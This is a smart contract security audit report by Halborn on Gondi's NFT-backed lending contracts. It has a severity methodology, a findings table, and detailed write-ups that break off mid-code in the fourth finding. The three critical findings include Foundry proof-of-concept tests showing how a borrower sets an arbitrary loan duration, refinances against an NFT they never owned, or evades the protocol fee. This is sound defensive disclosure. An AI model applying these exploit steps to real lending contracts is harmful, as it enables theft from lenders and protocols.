// Private Smart Contract Security Assessment

03.26.2024 - 05.03.2024

Florida Contracts Revised

Gondi

HALBORN

Florida Contracts Revised - Gondi

Prepared by: HALBORN

Last Updated 09/06/2024

Date of Engagement by: March 26th, 2024 - May 3rd, 2024

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
38	3	4	10	11	10

TABLE OF CONTENTS

1. Introduction

Gondi engaged Halborn to conduct a security assessment on their smart contracts beginning on March 26th, 2024 and ending on May 3rd, 2024. The security assessment was scoped to the smart contracts provided to the Halborn team.

2. Assessment Summary

The team at Halborn assigned a full-time security engineer to verify the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the `Gondi team`. The main ones were the following:

- `Verify if the duration of the whole loan is lower or equal than each loan offer duration before further processing.`
- `Validate the consistency of token id when refinancing loans.`
- `Include the protocol fee when calculating the hash value for loans.`
- `Calculate the interest in each tranche considering that its duration shouldn't extend beyond the loan duration.`
- `Restrict access to add new tranches, so only borrowers can do it to their own loans.`
- `Enforce the loan termination for each applicable tranche lender.`

3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions (`solgraph`).
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions (`slither`).
- Testnet deployment (`Foundry`).

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILIY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2

EXPLOITABILIY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4

SEVERITY	SCORE VALUE RANGE
Informational	0 - 1.9

5. SCOPE

FILES AND REPOSITORY

(a) Repository: florida-contracts

(b) Assessed Commit ID: https://github.com/pixeldaogg/florida-contracts/tree/ac51cc6102fcf5ab274f8812eb58553933243 1f4

(c) Items in scope:

- src/lib/callbacks/CallbackHandler.sol
- src/lib/callbacks/PurchaseBundler.sol
- src/lib/loans/BaseLoan.sol
- src/lib/loans/BaseLoanHelpers.sol
- src/lib/loans/LoanManager.sol
- src/lib/loans/LoanManagerRegistry.sol
- src/lib/loans/MultiSourceLoan.sol
- src/lib/loans/WithLoanManagers.sol
- src/lib/utils/BytesLib.sol
- src/lib/utils/Hash.sol
- src/lib/utils/Interest.sol
- src/lib/utils/TwoStepOwned.sol
- src/lib/utils/ValidatorHelpers.sol
- src/lib/utils/WithProtocolFee.sol
- src/lib/validators/NftBitVectorValidator.sol
- src/lib/validators/NftPackedListValidator.sol
- src/lib/validators/RangeValidator.sol
- src/lib/AddressManager.sol
- src/lib/AuctionLoanLiquidator.sol
- src/lib/AuctionWithBuyoutLoanLiquidator.sol
- src/lib/InputChecker.sol
- src/lib/LiquidationDistributor.sol
- src/lib/LiquidationHandler.sol
- src/lib/Multicall.sol
- src/lib/UserVault.sol

Out-of-Scope: Third party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4a8950b03bbc6b4f7f3d229d496ce8fd9d8de80a
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/2efb7ac28c071b902dea55fdf264b131c7d5759d
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/21b699d0aeafe2c86c0f595f82f8ca3c4aa54e3a
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/462397e46e28a07c523032e5c155975e9a0f77ba
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4e424be8cf01c7cb349c7a14698a876d54fd7476
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/e52e708381f60a75450c18c1b7e722effe90cb3e
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/40739ecb6cf542078bb5a7b6227a1a928729a34a
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/a96cc991d2a2ca6e354357f61fc7847904066b2d
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/84e8ea453cd08347da2e03b8b765ef8b5d006b54
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/ebd26c3d41f6cf5a552a558a8eb1caef5a97e1d9
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/71d1ebe9c5502bf0360af251f7e7091ce644527b
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/29b954c4e1beeb7e93adc437f7b67aadc377f927
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/beaed92c641b9b68fc3f1d88fdfd6822b7696c27
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4564eede66bd6763f1069c3c2632f6f4cfb6e91a
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/9c63f51195bf3581f4a99eb5f15ce7296fbb1507
- 7212bfb
- https://github.com/pixeldaogg/florida-contracts/pull/394/commits/5fbcbbf9e1d4f97659abd4deb38f3102c2356e3f
- c821c8f

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
3	4	10	11	10

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
BORROWERS CAN ARBITRARY SET THE DURATION OF THE LOANS	CRITICAL	SOLVED - 04/21/2024
TOKEN ID IS NOT CORRECTLY VALIDATED WHEN REFINANCING	CRITICAL	SOLVED - 04/20/2024
PROTOCOL FEE CAN BE ARBITRARILY MODIFIED	CRITICAL	SOLVED - 04/17/2024
UNFAIR DISTRIBUTION OF PROCEEDS TO LENDERS	HIGH	SOLVED - 04/20/2024
OVERPAYMENT WHEN SETTLING AUCTIONS WITH BUYOUT	HIGH	SOLVED - 04/20/2024
UNRESTRICTED ACCESS TO ADD TRANCHES TO ANY LOAN	HIGH	SOLVED - 04/20/2024
LOANS ARE NOT TERMINATED WHEN SETTLING AN AUCTION WITH A BUYOUT	HIGH	SOLVED - 04/20/2024
LACK OF VALIDATION WHEN DEPOSITING ERC721 TOKENS	MEDIUM	SOLVED - 04/08/2024
SOME LEGACY ERC721 COLLECTIONS COULD ALLOW TO BORROW WITHOUT COLLATERALS	MEDIUM	RISK ACCEPTED

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
TRIGGER FEE PAYMENT COULD CREATE UNEXPECTED SITUATIONS	MEDIUM	SOLVED - 04/20/2024
AUCTIONS COULD BECOME ENDLESS	MEDIUM	SOLVED - 04/21/2024
LOANS ARE NOT CORRECTLY TERMINATED FOR EACH TRANCHE LENDER	MEDIUM	SOLVED - 04/21/2024
MISSING PROTECTION AGAINST REENTRANCY ATTACKS	MEDIUM	SOLVED - 04/21/2024
NO RESERVE PRICE IN AUCTIONS	MEDIUM	SOLVED - 04/20/2024
OFFERS COULD BE TEMPORARILY UNAVAILABLE BECAUSE OF SPAM LOANS	MEDIUM	RISK ACCEPTED
PROTOCOL FEE MAY BE STALE	MEDIUM	RISK ACCEPTED
LOAN LIQUIDATIONS DO NOT GENERATE FEES	MEDIUM	SOLVED - 04/20/2024
UNCHECKED MAXIMUM NUMBER OF TRANCHES PER LOAN	LOW	SOLVED - 04/20/2024
PURCHASE TRANSACTION CAN BE FRONT-RUN TO USE COLLATERAL FROM OTHER USERS	LOW	RISK ACCEPTED

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
OWNER ADDRESS CAN BE TRANSFERRED WITHOUT CONFIRMATION	LOW	RISK ACCEPTED
ARRAYS LENGTH COULD MISMATCH WHEN WITHDRAWING ERC721 TOKENS	LOW	RISK ACCEPTED
BORROWER IS NOT VALIDATED WHEN REFINANCING FROM OTHER LOAN OFFERS	LOW	SOLVED - 04/20/2024
IMPROPER HANDLING OF ZERO TRANSFERS FOR SOME ERC20 TOKENS	LOW	RISK ACCEPTED
DURATION IN THE RENEGOTIATION OFFERS IS NOT TAKEN INTO ACCOUNT	LOW	RISK ACCEPTED
ARRAYS LENGTH COULD MISMATCH WHEN VALIDATING CALLERS	LOW	RISK ACCEPTED
UNCHECKED PROTOCOL FEE	LOW	RISK ACCEPTED
UNCHECKED TIMEFORMAINLENDERTOBUY IN CONSTRUCTOR	LOW	RISK ACCEPTED
LACK OF ACCESS CONTROL WHEN DISTRIBUTING PROCEEDS	LOW	SOLVED - 04/20/2024
UNCHECKED TRANCHES LENGTH IN RENEGOTIATION OFFERS	INFORMATIONAL	SOLVED - 04/20/2024

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
CACHING ARRAY LENGTH IN LOOPS CAN SAVE GAS	INFORMATIONAL	SOLVED - 05/22/2024
TEMPORARY VARIABLES ARE NOT RESET	INFORMATIONAL	ACKNOWLEDGED
POTENTIAL REMOVAL OF NON-LIQUIDABLE LOANS	INFORMATIONAL	ACKNOWLEDGED
WITHDRAWAL FUNCTIONALITY COULD RESULT MISLEADING	INFORMATIONAL	SOLVED - 04/08/2024
LACK OF CONSISTENCY IN RENEGOTIATION OFFERS	INFORMATIONAL	SOLVED - 04/21/2024
UNUSED FUNCTION OR VARIABLE	INFORMATIONAL	SOLVED - 04/20/2024
LACK OF ZERO ADDRESS CHECK	INFORMATIONAL	ACKNOWLEDGED
UNCHECKED EXECUTION DATA	INFORMATIONAL	ACKNOWLEDGED
REPEATED MODIFIER	INFORMATIONAL	SOLVED - 04/08/2024

7. FINDINGS & TECH DETAILS

7.1 BORROWERS CAN ARBITRARY SET THE DURATION OF THE LOANS

// CRITICAL

Description

The `_processOffersFromExecutionData` function in the **MultiSourceLoan** contract does not verify if the duration of the whole loan is lower or equal than each loan offer duration. As a consequence, some **core functions** can receive as an input a **loan with an arbitrary duration**, instead of being restricted by the duration previously set by the lender(s). The affected functions are the following:

- `emitLoan`
- `refinanceFromLoanExecutionData`

The described vulnerability creates unexpected situations, e.g.: a malicious user can take a loan, but set it with an extremely long duration (disregarding durations previously set by lenders) and make it virtually impossible to liquidate in case on non-payment.

Here is a step-by-step example on how this issue can be exploited when borrowing:
1. A lender releases a loan offer which duration is **30 days**.
2. Borrower calls the `emitLoan` function with a `LoanExecutionData` input which **duration** parameter is set to **30,000 days**, much longer than the duration previously set by the lender.
3. Borrower receives the loan.
4. The lender does not receive any payment, but he won't be able to liquidate the loan because the **duration of the loan is 30,000 days**, i.e.: more than 80 years.

Code Location

The `_processOffersFromExecutionData` function in the **MultiSourceLoan** contract does not verify if the value of `_duration` is lower or equal than each loan offer duration:

```
function _processOffersFromExecutionData(
  address _borrower,
  address _principalReceiver,
  address _principalAddress,
  address _nftCollateralAddress,
  uint256 _tokenId,
  uint256 _duration,
  OfferExecution[] calldata _offerExecution
```

```
) private returns (uint256, uint256[] memory, Loan memory, uint256) {
  Tranche[] memory tranche = new Tranche[](_offerExecution.length);
  uint256[] memory offerIds = new uint256[](_offerExecution.length);
  uint256 totalAmount;
  uint256 loanId = _getAndSetNewLoanId();

  ProtocolFee memory protocolFee = _protocolFee;
  LoanOffer calldata offer;
  uint256 totalFee;
  uint256 totalAmountWithMaxInterest;
  for (uint256 i = 0; i < _offerExecution.length;) {
    OfferExecution calldata thisOfferExecution = _offerExecution[i];
    offer = thisOfferExecution.offer;
    _validateOfferExecution(
      thisOfferExecution,
      _tokenId,
      offer.lender,
      offer.lender,
      thisOfferExecution.lenderOfferSignature,
      protocolFee.fraction,
      totalAmount
    );
    uint256 amount = thisOfferExecution.amount;
    address lender = offer.lender;
    _checkOffer(offer, _principalAddress, _nftCollateralAddress, totalAmo
    /// @dev Please note that we can now have many tranches with same `lo
    tranche[i] = Tranche(loanId, totalAmount, amount, lender, 0, block.ti
    totalAmount += amount;
    totalAmountWithMaxInterest += amount + amount.getInterest(offer.aprBp

    uint256 fee = offer.fee.mulDivUp(amount, offer.principalAmount);
    totalFee += fee;
    _handleProtocolFeeForFee(
      offer.principalAddress, lender, fee.mulDivUp(protocolFee.fraction,
    );

    ERC20(offer.principalAddress).safeTransferFrom(lender, _principalRece
    if (offer.capacity > 0) {
      _used[lender][offer.offerId] += amount;
    } else {
      isOfferCancelled[lender][offer.offerId] = true;
    }

    offerIds[i] = offer.offerId;
```

```
      unchecked {
        ++i;
      }
    }
    Loan memory loan = Loan(
      _borrower,
      _tokenId,
      _nftCollateralAddress,
      _principalAddress,
      totalAmount,
      block.timestamp,
      _duration,
      tranche,
      protocolFee.fraction
    );

    return (loanId, offerIds, loan, totalFee);
  }
```

Proof of Concept

Foundry test that shows that a borrower can arbitrary set the duration of the loan (disregarding durations previously set by lenders) and make it virtually impossible to liquidate in case on non-payment:

```
function testEmitLoanWithUnrestrictedDuration() public {

  /***************************** Borrowing process ***************************

  vm.startPrank(_borrower);

  IMultiSourceLoan.LoanOffer memory loanOffer =
      _getSampleOffer(address(collateralCollection), collateralTokenId, _INITI

  IMultiSourceLoan.ExecutionData memory executionData = _sampleExecutionData(l
  executionData.duration = 30000 days; // More than 80 years

  // Comparing duration for LoanOffer and ExecutionData
  assertEq(loanOffer.duration, 30 days);
  assertEq(executionData.duration, 30000 days);

  (, IMultiSourceLoan.Loan memory loan) = _msLoan.emitLoan(
      IMultiSourceLoan.LoanExecutionData(executionData, _borrower, "")
  );
```

```
    // Loan duration should be the same than ExecutionData duration
    assertEq(loan.duration, executionData.duration);

    vm.stopPrank();

    /*************************** Trying to liquidate *************************

    skip(loanOffer.duration + 1); // LoanOffer duration has passed, the loan sho

    uint256 loanId = loan.tranche[0].loanId;
    vm.expectRevert(abi.encodeWithSignature("LoanNotDueError(uint256)", loan.sto
    vm.prank(_originalLender);
    _msLoan.liquidateLoan(loanId, loan);

  }
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol   --match-test testEmitLoanWithUnrestrictedDuration -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testEmitLoanWithUnrestrictedDuration() (gas: 242039)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.73ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:H/I:H/D:N/Y:H (10.0)

Recommendation

It is recommended to verify if the duration of the whole loan is lower or equal than each loan offer duration before further processing.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4a8950b03bbc6b4f7f3d229d496ce8fd9d8de80a

7.2 TOKEN ID IS NOT CORRECTLY VALIDATED WHEN REFINANCING

// CRITICAL

Description

The `refinanceFromLoanExecutionData` function in the **MultiSourceLoan** contract allows that borrowers refinance their loans by obtaining new loans and repaying the old ones with the amount of tokens received during the operation. However, the function does not validate the consistency of the token id from the collateralized NFT along the transaction and a borrower can refinance his loan to obtain a new one tied to an NFT with another token id, even if he never owned it.

As a consequence of the situation described above, a malicious borrower can take advantage of this vulnerability to obtain profit at the expense of the lenders. Here is a step-by-step example on how this issue can be exploited:

1. A malicious borrower takes a loan depositing an NFT with **token id 1** as collateral, which is not so valuable.
2. A lender offers a substantial loan for an NFT from the same collection as the previous one, but with **token id 2**, which is extremely rare.
3. The malicious borrower calls the `refinanceFromLoanExecutionData` function using as an input a `LoanExecutionData` whose `offerExecution` has the **tokenId = 2**. It is important to note that the borrower does not need to own this latter NFT.
4. The borrower receives the loan.
5. The lender does not receive any payment, but he probably won't be able to liquidate the loan because the operation will revert due to the fact that the NFT with **token id 2** was not deposited as collateral.
6. If someone else deposits the NFT with **token id 2** as collateral as part of another operation, the victim lender will be able to liquidate the former loan, but it would directly affect this new user.

Code Location

The `refinanceFromLoanExecutionData` function in the **MultiSourceLoan** contract does not validate the consistency of the token id from the collateralized NFT along the transaction:

```
function refinanceFromLoanExecutionData(
  uint256 _loanId,
  Loan calldata _loan,
  LoanExecutionData calldata _loanExecutionData
) external nonReentrant returns (uint256, Loan memory) {
  _baseLoanChecks(_loanId, _loan);

  ExecutionData calldata executionData = _loanExecutionData.executionData

```

```
  address borrower = _loanExecutionData.borrower;
  (address principalAddress, address nftCollateralAddress) = _getAddresse
  
  OfferExecution[] calldata offerExecution = executionData.offerExecution
  
  _validateExecutionData(_loanExecutionData, _loan.borrower);
  _checkWhitelists(principalAddress, nftCollateralAddress);
  
  if (_loan.principalAddress != principalAddress || _loan.nftCollateralAd
    revert InvalidAddressesError();
  }
  
  /// @dev We first process the incoming offers so borrower gets the capi
  ///      NFT doesn't need to be transfered (it was already in escrow)
  (uint256 newLoanId, uint256[] memory offerIds, Loan memory loan, uint25
  _processOffersFromExecutionData(
    borrower,
    executionData.principalReceiver,
    principalAddress,
    nftCollateralAddress,
    executionData.tokenId,
    executionData.duration,
    offerExecution
  );
  _processRepayments(_loan);
  
  emit LoanRefinancedFromNewOffers(_loanId, newLoanId, loan, offerIds, to
  
  _loans[newLoanId] = loan.hash();
  delete _loans[_loanId];
  
  return (newLoanId, loan);
}
```

Proof of Concept

Foundry test that shows that a borrower can refinance his loan to obtain a new one tied to an NFT with another token id, even if he never owned it:

```
function testRefinanceFromLoanExecutionDataWithAnotherNFT() public {

  (uint256 loanId, IMultiSourceLoan.Loan memory loan) = _getInitialLoan();

  uint256 newTokenId = 2; // Token id different to the one in loan
```

```
    assertEq(loan.nftCollateralTokenId != newTokenId, true);

    uint256 newOfferPrincipalAmount = loan.principalAmount * 3;
    IMultiSourceLoan.LoanOffer memory loanOffer =
      _getSampleOffer(address(collateralCollection), newTokenId, newOfferPrinci

    IMultiSourceLoan.LoanExecutionData memory led =
      IMultiSourceLoan.LoanExecutionData(_sampleExecutionData(loanOffer, loan.bo
    led.executionData.offerExecution[0].amount = loanOffer.principalAmount;
    led.executionData.tokenId = newTokenId;

    testToken.mint(loanOffer.lender, newOfferPrincipalAmount);
    vm.prank(loanOffer.lender);
    testToken.approve(address(_msLoan), newOfferPrincipalAmount);

    uint256 borrowerBalanceBefore = testToken.balanceOf(_borrower);

    vm.startPrank(_borrower);

    testToken.approve(address(_msLoan), loan.principalAmount);
    (uint256 newLoanId, IMultiSourceLoan.Loan memory newLoan) =
      _msLoan.refinanceFromLoanExecutionData(loanId, loan, led);

    vm.stopPrank();

    // New loan supposedly is tied to NFT with token id = 2
    assertEq(newLoan.nftCollateralAddress, loan.nftCollateralAddress);
    assertEq(newLoan.nftCollateralTokenId, newTokenId);

    // Borrower receives the new loan
    uint256 borrowerBalanceAfter = testToken.balanceOf(_borrower);
    assertEq(borrowerBalanceAfter, borrowerBalanceBefore + newOfferPrincipalAmou
  }
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol   --match-test testRefinanceFromLoanExecutionDataWithAnother
NFT -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testRefinanceFromLoanExecutionDataWithAnotherNFT() (gas: 321337)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.77ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:H/I:H/D:H/Y:N (10.0)

Recommendation

It is recommended to validate that the token id from `_loanExecutionData` is the same as the one in the loan.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/2efb7ac28c071b902dea55fdf264b131c7d5759d

7.3 PROTOCOL FEE CAN BE ARBITRARILY MODIFIED

// CRITICAL

Description

The hash function for a **IMultiSourceLoan.Loan** input does not include the protocolFee variable when calculating its hash value. As a consequence, some **core functions** can be called with an **arbitrary fee** chosen by the sender, instead of relying on the **fee configured on the protocol**. The affected functions are the following:

- repayLoan
- refinanceFull
- refinancePartial
- refinanceFromLoanExecutionData

Here is a step-by-step example on how this issue can be exploited when trying to repay a loan. The same attack vector can be used for the other affected functions:

1. The protocol is configured with a protocol **fee different** from **0**.
2. Borrower calls emitLoan function and receives a loan.
3. Then, when trying to repay the loan using the repayLoan function, he can use a LoanRepaymentData input with a **modified loan**. This modified loan should be exactly the same as the original one, except for the protocolFee variable, which can be set with any value. For this example, the borrower will set the protocolFee to **0**.
4. The lender will receive the borrowed amount and its corresponding owed interest. However, the recipient of the protocol fee won't receive anything.

Finally, It is important to note that the protocol fee could be arbitrarily modified in favor of the lender or the fee recipient, which totally disregard the existence of the fee configured on the protocol.

Code Location

The hash function for a **IMultiSourceLoan.Loan** input does not include the protocolFee variable when calculating its hash value:

```
function hash(IMultiSourceLoan.Loan memory _loan) internal pure returns (
  bytes memory trancheHashes;
  for (uint256 i; i < _loan.tranche.length;) {
    trancheHashes = abi.encodePacked(trancheHashes, _hashTranche(_loan.tr
    unchecked {
      ++i;
    }

```

```
    }
    return keccak256(
      abi.encode(
        _MULTI_SOURCE_LOAN_HASH,
        _loan.borrower,
        _loan.nftCollateralTokenId,
        _loan.nftCollateralAddress,
        _loan.principalAddress,
        _loan.principalAmount,
        _loan.startTime,
        _loan.duration,
        keccak256(trancheHashes)
      )
    );
  }
```

Proof of Concept

Foundry test that shows how to repay a loan bypassing the fee configured on the protocol:

```
function testRepayLoanWithDifferentProtocolFee() public {

   /******************************** Setup phase *****************************

   testToken.mint(_borrower, 100000000); // Some more test tokens minted to bo

   address feeRecipient = address(0xCAFE);
   WithProtocolFee.ProtocolFee memory fee = WithProtocolFee.ProtocolFee(feeRec
   vm.prank(_msLoan.owner());
   _msLoan.updateProtocolFee(fee);

   skip(_msLoan.FEE_UPDATE_NOTICE() + 1);

   vm.prank(_msLoan.owner());
   _msLoan.setProtocolFee();

   assertEq(_msLoan.getProtocolFee().recipient, fee.recipient);
   assertEq(_msLoan.getProtocolFee().fraction, fee.fraction);


   /***************************** Borrowing process ***************************

   vm.startPrank(_borrower);
```

```
        IMultiSourceLoan.LoanOffer memory loanOffer =
            _getSampleOffer(address(collateralCollection), collateralTokenId, _INIT
        loanOffer.expirationTime = block.timestamp + 10 days;
        loanOffer.duration = 30 days;
        (, IMultiSourceLoan.Loan memory loan) = _msLoan.emitLoan(
            IMultiSourceLoan.LoanExecutionData(_sampleExecutionData(loanOffer, _bor
        );


       /*************************** Repayment process ***************************

       // Before repayment
       uint256 balanceLenderBefore = testToken.balanceOf(_originalLender);
       uint256 balanceFeeRecipientBefore = testToken.balanceOf(feeRecipient);

       skip(loan.duration);

       testToken.approve(address(_msLoan), type(uint256).max);
       uint256 loanId = loan.tranche[0].loanId;
       IMultiSourceLoan.Loan memory modifiedLoan = loan;
       modifiedLoan.protocolFee = 0;
       _msLoan.repayLoan(_sampleRepaymentData(loanId, modifiedLoan));

       vm.stopPrank();

       // After repayment
       uint256 owed = loan.principalAmount + loan.principalAmount.getInterest(loan(
       uint256 balanceLenderAfter = testToken.balanceOf(_originalLender);
       uint256 balanceFeeRecipientAfter = testToken.balanceOf(feeRecipient);

       assertEq(balanceLenderBefore + owed, balanceLenderAfter);
       assertEq(balanceFeeRecipientBefore, balanceFeeRecipientAfter);
   }
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol   --match-test testRepayLoanWithDifferentProtocolFee -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testRepayLoanWithDifferentProtocolFee() (gas: 339502)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.43ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:M/D:N/Y:H (10.0)

Recommendation

It is recommended to include the `protocolFee` variable when calculating the hash value for loans.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/21b699d0aeafe2c86c0f595f82f8ca3c4aa54e3a

7.4 UNFAIR DISTRIBUTION OF PROCEEDS TO LENDERS

// HIGH

Description

The `distribute` and `_handleTrancheExcess` functions in the **LiquidationDistributor** contract miscalculate the interest to be paid to the lender in each tranche. This situation happens because the functions consider for the interest calculation the duration is between the tranche start time and the current time. However, the tranche duration shouldn't extend beyond the loan duration.

As a consequence, some lenders will be overpaid at expenses of the funds in the liquidator and the other ones could be underpaid and even not receive anything at all.

Code Location

The `distribute` and `_handleTrancheExcess` functions in the **LiquidationDistributor** contract miscalculate the interest to be paid to the lender in each tranche:

```
function distribute(uint256 _proceeds, IMultiSourceLoan.Loan calldata _lo
  uint256[] memory owedPerTranche = new uint256[](_loan.tranche.length);
  uint256 totalPrincipalAndPaidInterestOwed = _loan.principalAmount;
  uint256 totalPendingInterestOwed = 0;
  for (uint256 i = 0; i < _loan.tranche.length;) {
    IMultiSourceLoan.Tranche calldata thisTranche = _loan.tranche[i];
    uint256 pendingInterest =
      thisTranche.principalAmount.getInterest(thisTranche.aprBps, block.t
    totalPrincipalAndPaidInterestOwed += thisTranche.accruedInterest;
    totalPendingInterestOwed += pendingInterest;
    owedPerTranche[i] += thisTranche.principalAmount + thisTranche.accrue
    unchecked {
      ++i;
    }
  }
```

```
function _handleTrancheExcess(
  address _tokenAddress,
  IMultiSourceLoan.Tranche calldata _tranche,
  address _liquidator,
  uint256 _proceeds,
  uint256 _totalOwed
) private {
  uint256 excess = _proceeds - _totalOwed;
  /// Total = principal + accruedInterest +  pendingInterest + pro-rata r
```

```
    uint256 owed = _tranche.principalAmount + _tranche.accruedInterest
      + _tranche.principalAmount.getInterest(_tranche.aprBps, block.timesta
